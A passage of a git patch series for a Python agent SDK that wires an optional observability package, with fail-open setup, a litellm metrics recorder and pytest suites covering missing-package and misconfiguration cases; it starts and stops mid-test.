+@pytest.mark.parametrize( + ("configured", "expected"), + [ + ("DEBUG", logging.DEBUG), + ("debug", logging.DEBUG), + (" WaRnInG ", logging.WARNING), + ("ERROR", logging.ERROR), + ("CRITICAL", logging.CRITICAL), + ], +) +def test_reads_level_from_env( + monkeypatch: pytest.MonkeyPatch, configured: str, expected: int +) -> None: + monkeypatch.setenv("LOG_LEVEL", configured) + + assert resolve_log_level() == expected + + +@pytest.mark.parametrize("configured", ["", " ", "VERBOSE", "10x", "TRUE"]) +def test_falls_back_to_info_on_an_unusable_value( + monkeypatch: pytest.MonkeyPatch, configured: str +) -> None: + """A typo must not silently disable logging. + + logging.getLevelName returns the string "Level FOO" for anything it does not + recognise, which would otherwise be handed straight to setLevel. + """ + monkeypatch.setenv("LOG_LEVEL", configured) + + assert resolve_log_level() == logging.INFO + + +def test_make_logger_applies_the_configured_level(monkeypatch: pytest.MonkeyPatch) -> None: + """The regression that mattered: a debug() call must be able to emit.""" + monkeypatch.setenv("LOG_LEVEL", "DEBUG") + + logger = make_logger("agentex.tests.level_from_env") + + assert logger.level == logging.DEBUG + assert logger.isEnabledFor(logging.DEBUG) From 35639fa35b3c394c1f6be0067688cf9e210be947 Mon Sep 17 00:00:00 2001 From: Sirui Wang Date: Fri, 11 Sep 2026 13:47:28 -0700 Subject: [PATCH 05/15] =?UTF-8?q?feat(obs):=20wire=20sgp-obs=20from=20the?= =?UTF-8?q?=20SDK=20=E2=80=94=20traces,=20metrics=20and=20logs?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Moves the pilot's per-agent sgp-obs wiring into the SDK, so an agent adopts observability by installing sgp-obs and setting environment rather than carrying the wiring code — including the parts that are easy to get wrong and fail silently. AGX1-1113. No `obs` extra, and that is deliberate. Declaring sgp-obs in [project.optional-dependencies] makes THIS repo's uv workspace unresolvable, because sgp-obs is not on public PyPI. Measured: `uv lock --check`, `uv sync --all-extras`, plain `uv sync` with no extras, and `uv sync --all-extras --no-extra obs` all fail — sync re-locks, locking must resolve every declared optional dependency of every workspace member, and `--no-extra` filters what is installed rather than what is resolved. `uv lock` has no `--no-extra`, and `[tool.uv] override-dependencies` does not exempt it either (tried with and without the extras in the override). Only `--frozen` works, which would leave nobody able to re-lock this repo again. CI runs `uv sync --all-packages --all-extras` in 5 places, so this would have gone red on the first push. The dependency is therefore the agent's to declare, against the curated mirror, and the SDK wires it when it is importable. adk/pyproject.toml is now TOML-identical to the released one; only a comment was added, recording why an extra must not be re-added here. Verified against sgp-obs 0.16.0, not the 0.11.0 in the local scaleapi checkout — that package was 23 files behind, and two of the changes matter here: - `sgp_obs.shutdown()` is new in 0.16.0 and the draft never called anything like it. Whatever sits in a periodic exporter's buffer when the pod stops was being dropped, which for a short-lived or scaled-to-zero agent is most of what it recorded. Now flushed from the ACP lifespan's `finally`, in a thread because the flush blocks up to the export timeout. Feature-detected rather than version-pinned, since this package declares no dependency on sgp-obs and so cannot set a floor. - The trace-context ingress no longer hides an active span. That was the span-reparenting hazard behind the old "keep traces off" advice. All three signals, not metrics only. The double opt-in is the trap here, and it is the opposite of what the 0.15.0-era notes say. Measured on 0.16.0 with a real ACP server against a local OTLP receiver: SGP_OBS_ENABLED=true alone -> [] (nothing!) + METRICS=false TRACES=true LOGS=true -> ['metrics'] + all three *_DISABLED=false -> ['logs','metrics','traces'] SGP_OBS_ENABLED=false -> [] Every signal needs its `*_DISABLED` set to an explicit `false`; unset leaves it off. So the master switch on its own produces no telemetry and sgp-obs says nothing about it. init_sgp_obs now warns, naming the three variables, and warns separately when the switch is on but sgp-obs is not installed at all. Those two warnings are the only new log output; absent-and-unasked-for stays silent, because that is every agent that has not adopted. What each signal actually delivers, decoded off the wire: metrics 4 http.server.* families over OTLP, resource service.name set and telemetry_sdk_name=opentelemetry. This is the app= handoff working. traces spans over OTLP, but only business spans or a continued trace — the ingress middleware continues an inbound traceparent and never mints a server span. An agent with no span call sites exports zero, which is correct, not a defect. Confirmed by adding one correlated_span: 1 record, name='agent.turn'. logs structured JSON on STDOUT, not OTLP, carrying source=agentex and service.name. A collector scrapes stdout, so no endpoint is needed — but the pipeline REPLACES the root logger's handlers, so an adopting agent's log format changes. Also passes `source="agentex"` (stamps agent_id and task_id onto every record; the SDK knows the runtime, an agent author would have to know to pass it) and offers AGENT_NAME as the service-name fallback, blank normalised to None so the Helm rendered-empty idiom does not set an empty OTEL_SERVICE_NAME. Two fixes to the draft while reviewing it: 1. [project.optional-dependencies] sat inside the [project] table, between requires-python and classifiers, so TOML reparented `classifiers` into it as an extra whose "requirements" were classifier strings. Fail-closed: hatchling refused to build with "Dependency #1 of option `classifiers` ... is invalid: Typing :: Typed". Moot now the extra is gone, but it would have broken the release build after the title edit and merge. 2. `_split_model`'s docstring claimed `"gpt-4o" -> ("openai", False)`. The code returns True and the code is right: a bare name is OpenAI, litellm reaches OpenAI through the openai client, so the client instrumentor already sees it and `call()` must stand down. Corrected the example, not the code. Tests: 81 passing, `ruff check .` clean, `pyright -p .` 0 errors. They cover what has to hold when sgp-obs is absent, which is every environment today — `init_sgp_obs` returns not_installed AND the ACP server still constructs and answers /healthz and /api (Nitesh's startup item) — plus the flush, the two warnings, and the litellm recorder's null path, which is what every model call goes through without sgp-obs, so a regression there breaks calls rather than losing a metric. The fakes are stand-in modules, so the suite passes with sgp-obs installed or absent. Co-Authored-By: Claude Opus 5 --- adk/pyproject.toml | 18 ++ .../lib/core/adapters/llm/_genai_metrics.py | 112 +++++++ .../lib/core/adapters/llm/adapter_litellm.py | 21 +- .../lib/core/adapters/llm/tests/__init__.py | 0 .../adapters/llm/tests/test_genai_metrics.py | 115 +++++++ .../lib/core/observability/sgp_obs_setup.py | 180 +++++++++++ .../observability/tests/test_sgp_obs_setup.py | 299 ++++++++++++++++++ .../lib/sdk/fastacp/base/base_acp_server.py | 20 ++ 8 files changed, 760 insertions(+), 5 deletions(-) create mode 100644 src/agentex/lib/core/adapters/llm/_genai_metrics.py create mode 100644 src/agentex/lib/core/adapters/llm/tests/__init__.py create mode 100644 src/agentex/lib/core/adapters/llm/tests/test_genai_metrics.py create mode 100644 src/agentex/lib/core/observability/sgp_obs_setup.py create mode 100644 src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py diff --git a/adk/pyproject.toml b/adk/pyproject.toml index b0b22ea51..32de08720 100644 --- a/adk/pyproject.toml +++ b/adk/pyproject.toml @@ -65,6 +65,7 @@ dependencies = [ # agentex/lib/* uses `from typing import override` (3.12+) in 19 files. # The slim agentex-client keeps 3.11 support. requires-python = ">= 3.12,<4" + classifiers = [ "Typing :: Typed", "Intended Audience :: Developers", @@ -76,6 +77,23 @@ classifiers = [ "License :: OSI Approved :: Apache Software License", ] +# No `obs` extra, deliberately — do not add one for sgp-obs. +# +# sgp-obs is not on public PyPI (it is served from Scale's curated CodeArtifact +# mirror), and declaring it in [project.optional-dependencies] makes THIS repo's uv +# workspace unresolvable: `uv sync` re-locks, locking must resolve every declared +# optional dependency of every workspace member, and there is no way to exempt one. +# Measured: `uv lock --check`, `uv sync --all-extras`, plain `uv sync` with no extras, +# and `uv sync --all-extras --no-extra obs` all fail (`--no-extra` filters what is +# installed, not what is resolved); `uv lock` has no `--no-extra`; and +# `[tool.uv] override-dependencies` does not exempt it either. Only `--frozen` works, +# which would leave nobody able to re-lock this repo again. +# +# So the dependency is the AGENT's to declare — `sgp-obs[genai-auto,http,otlp]` +# against the mirror — and the SDK wires it when it is importable. See +# agentex/lib/core/observability/sgp_obs_setup.py; nothing imports sgp_obs outside a +# try, so a plain `pip install agentex-sdk` is unaffected either way. + [project.urls] Homepage = "https://github.com/scaleapi/scale-agentex-python" Repository = "https://github.com/scaleapi/scale-agentex-python" diff --git a/src/agentex/lib/core/adapters/llm/_genai_metrics.py b/src/agentex/lib/core/adapters/llm/_genai_metrics.py new file mode 100644 index 000000000..90823a7fe --- /dev/null +++ b/src/agentex/lib/core/adapters/llm/_genai_metrics.py @@ -0,0 +1,112 @@ +"""GenAI metrics for the litellm gateway, via ``sgp_obs.metrics.genai.call()``. + +Why the SDK does this rather than leaving it to zero-code instrumentation: + +Most model calls in the fleet reach the wire through the ``openai`` client, and for +those, patching that one client covers everything with no code — ``Runner.run``, the +ADK's openai provider, and litellm pointed at an OpenAI-compatible proxy. The client +patch cannot help in two situations, and this gateway hits both: + +1. **litellm routing natively** to Anthropic, Bedrock, Vertex or Azure never touches + the ``openai`` client, so nothing records it at all. +2. Even in proxy mode, the patch sits *inside* the OpenAI client, so it reports + ``gen_ai.provider.name="openai"`` — the protocol. It cannot know that the caller + asked for ``claude-sonnet-4``. This gateway chose the vendor, so it can say so. + +``transport=`` resolves the overlap between the two: when the call is going out over +the OpenAI client, we name that, and ``call()`` stands down if the client instrumentor +is already recording. When litellm routes natively there is no such overlap, so we +record. That decision is made per call, from the model string, in +:func:`_transport_for`. + +Everything here is fail-open: sgp-obs is an optional dependency and a telemetry problem +must never fail a model call. If the import fails, :func:`inference_call` returns an +object that records nothing and costs nothing. +""" + +from __future__ import annotations + +from typing import Any + +from agentex.lib.utils.logging import make_logger + +logger = make_logger(__name__) + +# litellm's directive for "send this to the configured OpenAI-compatible proxy". It is +# a routing instruction, not a vendor, so it is stripped before reading the vendor. +_PROXY_PREFIX = "litellm_proxy/" + +# A bare model name with no "/" prefix is OpenAI, per litellm's own default. +_DEFAULT_VENDOR = "openai" + +_warned = False + + +def _split_model(model: str) -> tuple[str, bool]: + """``(vendor, goes_out_over_the_openai_client)`` for a litellm model string. + + ``"litellm_proxy/anthropic/claude-sonnet-4"`` -> ``("anthropic", True)`` + ``"anthropic/claude-sonnet-4"`` -> ``("anthropic", False)`` + ``"gpt-4o"`` -> ``("openai", True)`` + + A bare name is OpenAI, and litellm reaches OpenAI through the ``openai`` + client, so the client instrumentor already sees it and we stand down. + """ + proxied = model.startswith(_PROXY_PREFIX) + rest = model[len(_PROXY_PREFIX):] if proxied else model + vendor = rest.split("/", 1)[0] if "/" in rest else _DEFAULT_VENDOR + # Proxy mode always leaves over the OpenAI client. So does a native openai/* call. + return (vendor or _DEFAULT_VENDOR), proxied or vendor == _DEFAULT_VENDOR + + +def inference_call(kwargs: dict[str, Any]) -> Any: + """Begin recording one litellm call. Never raises, never returns None.""" + try: + # See sgp_obs_setup.py: optional, not publicly installable, absent in CI. + from sgp_obs.metrics import genai # type: ignore[import-not-found] + except Exception: + global _warned + if not _warned: + _warned = True + logger.debug( + "sgp-obs is not available; GenAI metrics are off for litellm calls" + ) + return _NULL_CALL + + try: + model = kwargs.get("model") or "" + vendor, over_openai_client = _split_model(str(model)) + return genai.call( + provider=vendor, + operation=genai.CHAT, + model=str(model), + # litellm normalises every vendor's response onto the OpenAI shape, so one + # parser reads them all — which is exactly what `spec` separates from the + # `provider` label. + spec=genai.OPENAI_SPEC, + transport=genai.OPENAI if over_openai_client else "", + ) + except Exception: + logger.debug("could not start a GenAI metrics record", exc_info=True) + return _NULL_CALL + + +class _NullCall: + """What call sites get when sgp-obs is absent. Records nothing, costs nothing.""" + + def observe(self, response: Any) -> Any: + return response + + # Underscored like __aexit__'s params below: present for parity with the real + # sgp-obs call object, never read here. + def failed(self, _error: BaseException) -> None: + return + + async def __aenter__(self) -> "_NullCall": + return self + + async def __aexit__(self, _exc_type: Any, _exc: Any, _tb: Any) -> bool: + return False # never suppress the caller's exception + + +_NULL_CALL = _NullCall() diff --git a/src/agentex/lib/core/adapters/llm/adapter_litellm.py b/src/agentex/lib/core/adapters/llm/adapter_litellm.py index 7935f5f49..9993cf069 100644 --- a/src/agentex/lib/core/adapters/llm/adapter_litellm.py +++ b/src/agentex/lib/core/adapters/llm/adapter_litellm.py @@ -6,6 +6,7 @@ from agentex.lib.utils.logging import make_logger from agentex.lib.types.llm_messages import Completion from agentex.lib.core.adapters.llm.port import LLMGateway +from agentex.lib.core.adapters.llm._genai_metrics import inference_call logger = make_logger(__name__) @@ -36,9 +37,13 @@ async def acompletion(self, *args, **kwargs) -> Completion: "Please use self.acompletion_stream instead of self.acompletion to stream responses" ) - # Return a single completion for non-streaming - response = await llm.acompletion(*args, **kwargs) - return Completion.model_validate(response) + # `async with`, not try/except: asyncio.CancelledError is a BaseException, so a + # caller that disappears mid-flight would skip an `except Exception` handler and + # the record would be silently dropped. + async with inference_call(kwargs) as call: + # Return a single completion for non-streaming + response = call.observe(await llm.acompletion(*args, **kwargs)) + return Completion.model_validate(response) @override async def acompletion_stream( @@ -47,5 +52,11 @@ async def acompletion_stream( if not kwargs.get("stream"): raise ValueError("To use streaming, please set stream=True in the kwargs") - async for chunk in await llm.acompletion(*args, **kwargs): # type: ignore[misc] - yield Completion.model_validate(chunk) + async with inference_call(kwargs) as call: + # observe() takes ownership of the stream and yields the same chunks, so it + # can read time-to-first-chunk and the token totals off the last chunk. + # Wrapping only the `await` would return before the first chunk arrived and + # record zero tokens for every streamed call. + stream = call.observe(await llm.acompletion(*args, **kwargs)) + async for chunk in stream: # type: ignore[misc] + yield Completion.model_validate(chunk) diff --git a/src/agentex/lib/core/adapters/llm/tests/__init__.py b/src/agentex/lib/core/adapters/llm/tests/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/agentex/lib/core/adapters/llm/tests/test_genai_metrics.py b/src/agentex/lib/core/adapters/llm/tests/test_genai_metrics.py new file mode 100644 index 000000000..808c6a2a0 --- /dev/null +++ b/src/agentex/lib/core/adapters/llm/tests/test_genai_metrics.py @@ -0,0 +1,115 @@ +"""Tests for ``agentex.lib.core.adapters.llm._genai_metrics``. + +The important property is the one that holds in every environment today: with +``sgp-obs`` absent, :func:`inference_call` must hand back something the litellm +gateway can drive as an async context manager, whose ``observe()`` returns the +response untouched and which never swallows the caller's exception. That is the +path every agent without the ``obs`` extra takes on every model call, so a +regression here breaks model calls rather than just losing a metric. +""" + +from __future__ import annotations + +import sys +import builtins + +import pytest + +from agentex.lib.core.adapters.llm import _genai_metrics +from agentex.lib.core.adapters.llm._genai_metrics import _split_model, inference_call + + +class TestSplitModel: + """``(vendor, goes_out_over_the_openai_client)``. The boolean decides whether + ``call()`` stands down for the OpenAI client instrumentor or records itself, so + getting it wrong either double-counts a call or loses it.""" + + @pytest.mark.parametrize( + ("model", "vendor", "over_openai_client"), + [ + # Proxy mode: litellm sends this to an OpenAI-compatible proxy over the + # openai client, but the caller asked for a non-OpenAI vendor. + ("litellm_proxy/anthropic/claude-sonnet-4", "anthropic", True), + ("litellm_proxy/gpt-4o", "openai", True), + # Native routing: litellm's own handler, no openai client involved. + ("anthropic/claude-sonnet-4", "anthropic", False), + ("bedrock/anthropic.claude-v2", "bedrock", False), + ("vertex_ai/gemini-2.0-flash", "vertex_ai", False), + # A bare name is OpenAI per litellm's default, and reaches OpenAI + # through the openai client — so the instrumentor already sees it. + ("gpt-4o", "openai", True), + ("openai/gpt-4o", "openai", True), + ], + ) + def test_vendor_and_transport(self, model, vendor, over_openai_client): + assert _split_model(model) == (vendor, over_openai_client) + + def test_empty_model_does_not_raise(self): + """kwargs.get("model") is "" when a caller passes model positionally. + Falling back to litellm's own default is right, and must not blow up.""" + assert _split_model("") == ("openai", True) + + +class TestFailsOpenWithoutSgpObs: + @staticmethod + def _hide_sgp_obs(monkeypatch): + for name in [m for m in sys.modules if m.startswith("sgp_obs")]: + monkeypatch.delitem(sys.modules, name, raising=False) + real_import = builtins.__import__ + + def no_sgp_obs(name, *args, **kwargs): + if name == "sgp_obs" or name.startswith("sgp_obs."): + raise ImportError("No module named 'sgp_obs'") + return real_import(name, *args, **kwargs) + + monkeypatch.setattr(builtins, "__import__", no_sgp_obs) + # The "already warned" latch is module state; reset so the path is exercised. + monkeypatch.setattr(_genai_metrics, "_warned", False) + + def test_returns_a_usable_recorder_not_none(self, monkeypatch): + self._hide_sgp_obs(monkeypatch) + assert inference_call({"model": "gpt-4o"}) is _genai_metrics._NULL_CALL + + async def test_observe_returns_the_response_unchanged(self, monkeypatch): + """The gateway does `call.observe(await acompletion(...))`, so an observe() + that returned None would turn every completion into None.""" + self._hide_sgp_obs(monkeypatch) + sentinel = object() + async with inference_call({"model": "gpt-4o"}) as call: + assert call.observe(sentinel) is sentinel + + async def test_does_not_suppress_the_callers_exception(self, monkeypatch): + """__aexit__ must return falsey. Suppressing here would make a failed model + call look like a successful one that returned nothing.""" + self._hide_sgp_obs(monkeypatch) + with pytest.raises(ValueError, match="upstream"): + async with inference_call({"model": "gpt-4o"}): + raise ValueError("upstream blew up") + + async def test_cancellation_still_propagates(self, monkeypatch): + """CancelledError is a BaseException; the `async with` in the gateway exists + so a disappearing caller is not silently dropped.""" + import asyncio + + self._hide_sgp_obs(monkeypatch) + with pytest.raises(asyncio.CancelledError): + async with inference_call({"model": "gpt-4o"}): + raise asyncio.CancelledError() + + def test_a_broken_sgp_obs_does_not_break_a_model_call(self, monkeypatch): + """Not just ImportError: anything raised while starting a record must fall + back to the null recorder.""" + module = type(sys)("sgp_obs.metrics") + genai = type(sys)("genai") + + def exploding(**_kwargs): + raise RuntimeError("sgp-obs internals changed") + + genai.call = exploding + genai.CHAT = "chat" + genai.OPENAI_SPEC = "openai" + genai.OPENAI = "openai" + module.genai = genai + monkeypatch.setitem(sys.modules, "sgp_obs", type(sys)("sgp_obs")) + monkeypatch.setitem(sys.modules, "sgp_obs.metrics", module) + assert inference_call({"model": "gpt-4o"}) is _genai_metrics._NULL_CALL diff --git a/src/agentex/lib/core/observability/sgp_obs_setup.py b/src/agentex/lib/core/observability/sgp_obs_setup.py new file mode 100644 index 000000000..7cf1da40c --- /dev/null +++ b/src/agentex/lib/core/observability/sgp_obs_setup.py @@ -0,0 +1,180 @@ +"""Optional sgp-obs wiring: traces, metrics and logs, switched on by environment. + +Why this lives in the SDK rather than in each agent: the fleet is ~147 agent repos, +and their deployments pin an exact SDK version. Doing the wiring here means an agent +adopts observability by installing ``sgp-obs`` and setting environment, instead of +carrying the wiring code — including the two parts that are easy to get wrong and +fail silently (where ``init()`` is called from, and flushing on the way out). + +``sgp-obs`` is NOT declared as a dependency or an extra of this package. It is not on +public PyPI, and declaring it would make this repo's own uv workspace unresolvable: +``uv sync`` re-locks, locking must resolve every declared optional dependency, and +neither ``--no-extra`` nor ``[tool.uv] override-dependencies`` exempts one. So the +contract is inverted — an agent declares ``sgp-obs[genai-auto,http,otlp]`` itself, +against Scale's curated mirror, and this module wires it if it is importable. Nothing +here imports ``sgp_obs`` outside a ``try``, so a plain ``pip install agentex-sdk`` +behaves exactly as it did before this module existed. + +TWO gates, both of which must pass before anything is recorded: + +1. ``sgp-obs`` must be importable. If it is not, this returns ``"not_installed"``. +2. The environment must ask for it. As of sgp-obs 0.16.0 every signal is opt-in + TWICE: the master switch ``SGP_OBS_ENABLED=true``, AND that signal's + ``*_DISABLED`` variable set to an explicit ``false``. An unset ``*_DISABLED`` + leaves the signal OFF. So the master switch on its own wires nothing at all — + measured on 0.16.0, ``SGP_OBS_ENABLED=true`` alone returns zero handles. All + three signals together need:: + + SGP_OBS_ENABLED=true + SGP_METRICS_DISABLED=false + SGP_TRACES_DISABLED=false + SGP_LOGS_DISABLED=false + + That inverts the advice written against 0.15.0, where traces came on with the + master switch and had to be turned off. This module does not second-guess the + gate — it calls ``init()`` and reports which signals came back — but it does + warn when the master switch is on and nothing wired, because that combination + is otherwise completely silent. + +Metrics additionally need an OTLP endpoint. sgp-obs never builds a MeterProvider +from nothing; in a cluster the OTel Operator's auto-instrumentation normally +supplies one, and agent pods get no injection, so ``OTEL_EXPORTER_OTLP_ENDPOINT`` +has to be on the pod spec. + +Fail-open is absolute: this is telemetry, and no failure here may stop an agent from +starting or serving. Every path returns a status string instead of raising. +""" + +from __future__ import annotations + +import os +from typing import Any + +from agentex.lib.utils.logging import make_logger + +logger = make_logger(__name__) + +_status: str | None = None + +# sgp-obs' own truthy set (sgp_obs.env._TRUTHY), so "is the master switch on?" is +# answered the same way here as in the library deciding whether to wire. +_TRUTHY = {"1", "true", "yes", "on"} + +# The logs-profile selector. The SDK knows the runtime is agentex; an agent author +# would have to know to pass it. It stamps agent_id (from AGENT_ID) and task_id (from +# the SDK's streaming contextvar) onto every log record. +_SOURCE = "agentex" + + +def _master_switch_on() -> bool: + return (os.getenv("SGP_OBS_ENABLED") or "").strip().lower() in _TRUTHY + + +def init_sgp_obs(app: Any = None) -> str: + """Wire sgp-obs if it is installed and enabled. Returns a status; never raises. + + Statuses: ``"not_installed"``, ``"disabled"``, ``"wired:"``, ``"error"``. + + ``app`` is the ACP server. Passing it is what adds ``http.server.*`` for the + agent's own entry point — without it the agent is observable only from the + model call outwards, and its own latency and error rate cannot be alerted on. + It is also what installs the trace-context ingress middleware, so an incoming + ``traceparent`` continues into the agent's spans rather than starting a new trace. + """ + global _status + if _status is not None: + # init() is not meant to run twice, and a Temporal worker plus an ACP + # server can both reach this in one process. + return _status + + try: + # Not resolvable in a normal env: sgp-obs is not a dependency of this + # package and is not on public PyPI. That is the case this branch exists for. + import sgp_obs # type: ignore[import-not-found] + except ImportError: + if _master_switch_on(): + # The operator asked for observability and the package is absent. Silence + # here is the worst outcome, so say what is missing and how to fix it. + logger.warning( + "SGP_OBS_ENABLED is set but sgp-obs is not installed, so no telemetry " + "will be produced. Add sgp-obs[genai-auto,http,otlp] to this agent's " + "dependencies (it resolves from Scale's curated mirror, not public PyPI)." + ) + _status = "not_installed" + return _status + except Exception: # pragma: no cover - a broken install must not stop startup + logger.debug("sgp-obs import failed unexpectedly", exc_info=True) + _status = "error" + return _status + + try: + handles = sgp_obs.init( + app=app, + # Fills OTEL_SERVICE_NAME only when the deployment left it unset or + # blank; the deployment always outranks this. Without either, every + # signal is attributed to service.name="unknown". + service_name=(os.getenv("AGENT_NAME") or "").strip() or None, + source=_SOURCE, + ) + except Exception: # pragma: no cover - sgp_obs.init is itself fail-open + # One deliberate exception to its fail-open rule: under the standard CI + # variable, any logs misconfiguration raises so a build cannot pass while + # logging is broken. Swallowed here regardless — an agent must still serve. + logger.warning("sgp-obs initialization failed; continuing without it", exc_info=True) + _status = "error" + return _status + + if not handles: + if _master_switch_on(): + # 0.16.0's double opt-in: the master switch alone wires nothing, and + # sgp-obs says nothing about it. Name the variables that are missing. + logger.warning( + "SGP_OBS_ENABLED is set but no sgp-obs signal is enabled, so nothing " + "will be exported. Each signal is opt-in separately: set " + "SGP_METRICS_DISABLED=false, SGP_TRACES_DISABLED=false and " + "SGP_LOGS_DISABLED=false for the signals you want. An unset " + "*_DISABLED leaves that signal off." + ) + # Otherwise expected, and the default: an agent with sgp-obs installed still + # records nothing until someone sets the environment. + _status = "disabled" + return _status + + _status = "wired:" + ",".join(sorted(handles)) + logger.info("sgp-obs wired (%s)", _status) + return _status + + +async def shutdown_sgp_obs() -> None: + """Flush the providers ``init()`` built. Never raises. + + Without this, whatever is sitting in a periodic exporter's buffer when the pod + stops is dropped — which for a short-lived or scaled-to-zero agent can be most + of what it recorded. sgp-obs only flushes providers it OWNS; one adopted from + the runtime is left to its owner, so this is safe under operator injection. + + Run in a thread: the flush blocks up to the SDK export timeout per owned signal, + and this is called from an async lifespan. + """ + if _status is None or not _status.startswith("wired"): + return + + try: + import asyncio + + import sgp_obs # type: ignore[import-not-found] + + # Added in sgp-obs 0.16.0. Feature-detected rather than version-pinned, + # because this package does not depend on sgp-obs and so cannot set a floor. + shutdown = getattr(sgp_obs, "shutdown", None) + if shutdown is None: + logger.debug("sgp-obs has no shutdown(); needs 0.16.0+ to flush on exit") + return + await asyncio.to_thread(shutdown) + except Exception: # pragma: no cover - a failed flush must not fail shutdown + logger.debug("sgp-obs shutdown failed", exc_info=True) + + +def _reset_for_tests() -> None: + global _status + _status = None diff --git a/src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py b/src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py new file mode 100644 index 000000000..929ba1bf6 --- /dev/null +++ b/src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py @@ -0,0 +1,299 @@ +"""Tests for ``agentex.lib.core.observability.sgp_obs_setup``. + +The property under test is that this can never hurt a caller: whatever the state of +sgp-obs or the environment, ``init_sgp_obs`` returns a status string and does not +raise, and ``shutdown_sgp_obs`` does not raise. Both gates get a test, plus the +failure modes, the two silent-misconfiguration warnings, and the flush. + +These never import the real sgp-obs — it is absent in CI by design — so every test +installs a stand-in whose ``init`` is under the test's control. +""" + +from __future__ import annotations + +import sys +import builtins + +import pytest + +from agentex.lib.core.observability import sgp_obs_setup +from agentex.lib.core.observability.sgp_obs_setup import init_sgp_obs, shutdown_sgp_obs + +_SWITCHES = ( + "SGP_OBS_ENABLED", + "SGP_METRICS_DISABLED", + "SGP_TRACES_DISABLED", + "SGP_LOGS_DISABLED", + "AGENT_NAME", +) + + +@pytest.fixture(autouse=True) +def _reset(monkeypatch): + """The status is cached process-wide, so every test starts from unset. The + environment is cleared too: two code paths branch on the master switch, and a + developer with SGP_OBS_ENABLED exported would otherwise flip those tests.""" + for name in _SWITCHES: + monkeypatch.delenv(name, raising=False) + sgp_obs_setup._reset_for_tests() + yield + sgp_obs_setup._reset_for_tests() + + +def _fake_sgp_obs(monkeypatch, init=None, shutdown=None): + """Install a stand-in ``sgp_obs`` module whose entry points we control.""" + module = type(sys)("sgp_obs") + module.init = init if init is not None else (lambda **_kwargs: {"metrics": object()}) + if shutdown is not None: + module.shutdown = shutdown + monkeypatch.setitem(sys.modules, "sgp_obs", module) + return module + + +def _block_sgp_obs_import(monkeypatch, exc=None): + monkeypatch.delitem(sys.modules, "sgp_obs", raising=False) + real_import = builtins.__import__ + error = exc or ImportError("No module named 'sgp_obs'") + + def blocked(name, *args, **kwargs): + if name == "sgp_obs" or name.startswith("sgp_obs."): + raise error + return real_import(name, *args, **kwargs) + + monkeypatch.setattr(builtins, "__import__", blocked) + + +class TestGateOneSgpObsNotInstalled: + def test_missing_package_is_reported_not_raised(self, monkeypatch): + _block_sgp_obs_import(monkeypatch) + assert init_sgp_obs() == "not_installed" + + def test_a_broken_install_does_not_stop_startup(self, monkeypatch): + """An ImportError is ordinary; anything else is a broken install, not a + missing one, and must still be swallowed.""" + _block_sgp_obs_import(monkeypatch, RuntimeError("half-installed wheel")) + assert init_sgp_obs() == "error" + + def test_silence_is_expected_when_nobody_asked(self, monkeypatch, caplog): + """sgp-obs is not a dependency, so absent-and-unasked-for is the normal + case for every agent. It must not warn.""" + _block_sgp_obs_import(monkeypatch) + with caplog.at_level("WARNING"): + assert init_sgp_obs() == "not_installed" + assert caplog.records == [] + + def test_enabled_but_missing_says_what_to_install(self, monkeypatch, caplog): + """The one case that must be loud: the operator asked for observability and + the package is not there. Silence would look like working instrumentation.""" + monkeypatch.setenv("SGP_OBS_ENABLED", "true") + _block_sgp_obs_import(monkeypatch) + with caplog.at_level("WARNING"): + assert init_sgp_obs() == "not_installed" + assert len(caplog.records) == 1 + assert "sgp-obs is not installed" in caplog.text + assert "genai-auto,http,otlp" in caplog.text + + +class TestGateTwoEnvironmentSwitches: + def test_no_handles_means_disabled(self, monkeypatch): + """sgp_obs.init() returns an empty dict when the master switch or every + per-signal switch is off. That is the DEFAULT: sgp-obs installed, and + recording nothing until someone sets the environment.""" + _fake_sgp_obs(monkeypatch, lambda **_kwargs: {}) + assert init_sgp_obs() == "disabled" + + def test_disabled_and_unasked_for_is_quiet(self, monkeypatch, caplog): + _fake_sgp_obs(monkeypatch, lambda **_kwargs: {}) + with caplog.at_level("WARNING"): + assert init_sgp_obs() == "disabled" + assert caplog.records == [] + + def test_master_switch_on_but_nothing_wired_names_the_variables( + self, monkeypatch, caplog + ): + """sgp-obs 0.16.0 made every signal opt-in twice: the master switch plus an + explicit *_DISABLED=false. So SGP_OBS_ENABLED on its own wires nothing and + says nothing, which is the single easiest way to believe an agent is + instrumented when it is not.""" + monkeypatch.setenv("SGP_OBS_ENABLED", "true") + _fake_sgp_obs(monkeypatch, lambda **_kwargs: {}) + with caplog.at_level("WARNING"): + assert init_sgp_obs() == "disabled" + assert len(caplog.records) == 1 + for var in ("SGP_METRICS_DISABLED", "SGP_TRACES_DISABLED", "SGP_LOGS_DISABLED"): + assert var in caplog.text + + @pytest.mark.parametrize("raw", ["1", "true", "TRUE", "yes", "on"]) + def test_master_switch_truthy_forms(self, monkeypatch, caplog, raw): + """Matched to sgp_obs.env._TRUTHY, so this module's idea of "on" is the + same as the library's. A mismatch would put the warning on the wrong side.""" + monkeypatch.setenv("SGP_OBS_ENABLED", raw) + _fake_sgp_obs(monkeypatch, lambda **_kwargs: {}) + with caplog.at_level("WARNING"): + init_sgp_obs() + assert len(caplog.records) == 1 + + def test_all_three_signals_are_named_in_the_status(self, monkeypatch): + _fake_sgp_obs( + monkeypatch, + lambda **_kwargs: {"logs": object(), "metrics": object(), "traces": object()}, + ) + assert init_sgp_obs() == "wired:logs,metrics,traces" + + +class TestWhatIsPassedToSgpObs: + @staticmethod + def _capture(monkeypatch): + seen = {} + + def capture(**kwargs): + seen.update(kwargs) + return {"metrics": object()} + + _fake_sgp_obs(monkeypatch, capture) + return seen + + def test_app_reaches_sgp_obs(self, monkeypatch): + """Passing the ACP server is what adds http.server.* for the agent's own + entry point and installs the trace-context ingress, so it must not be + silently dropped.""" + seen = self._capture(monkeypatch) + sentinel = object() + init_sgp_obs(app=sentinel) + assert seen["app"] is sentinel + + def test_source_is_agentex(self, monkeypatch): + """The SDK knows the runtime; an agent author would have to know to pass it. + It is what stamps agent_id and task_id onto log records.""" + seen = self._capture(monkeypatch) + init_sgp_obs() + assert seen["source"] == "agentex" + + def test_agent_name_is_offered_as_the_service_name(self, monkeypatch): + """sgp-obs fills OTEL_SERVICE_NAME from this only when the deployment left + it unset; without either, every signal is attributed to 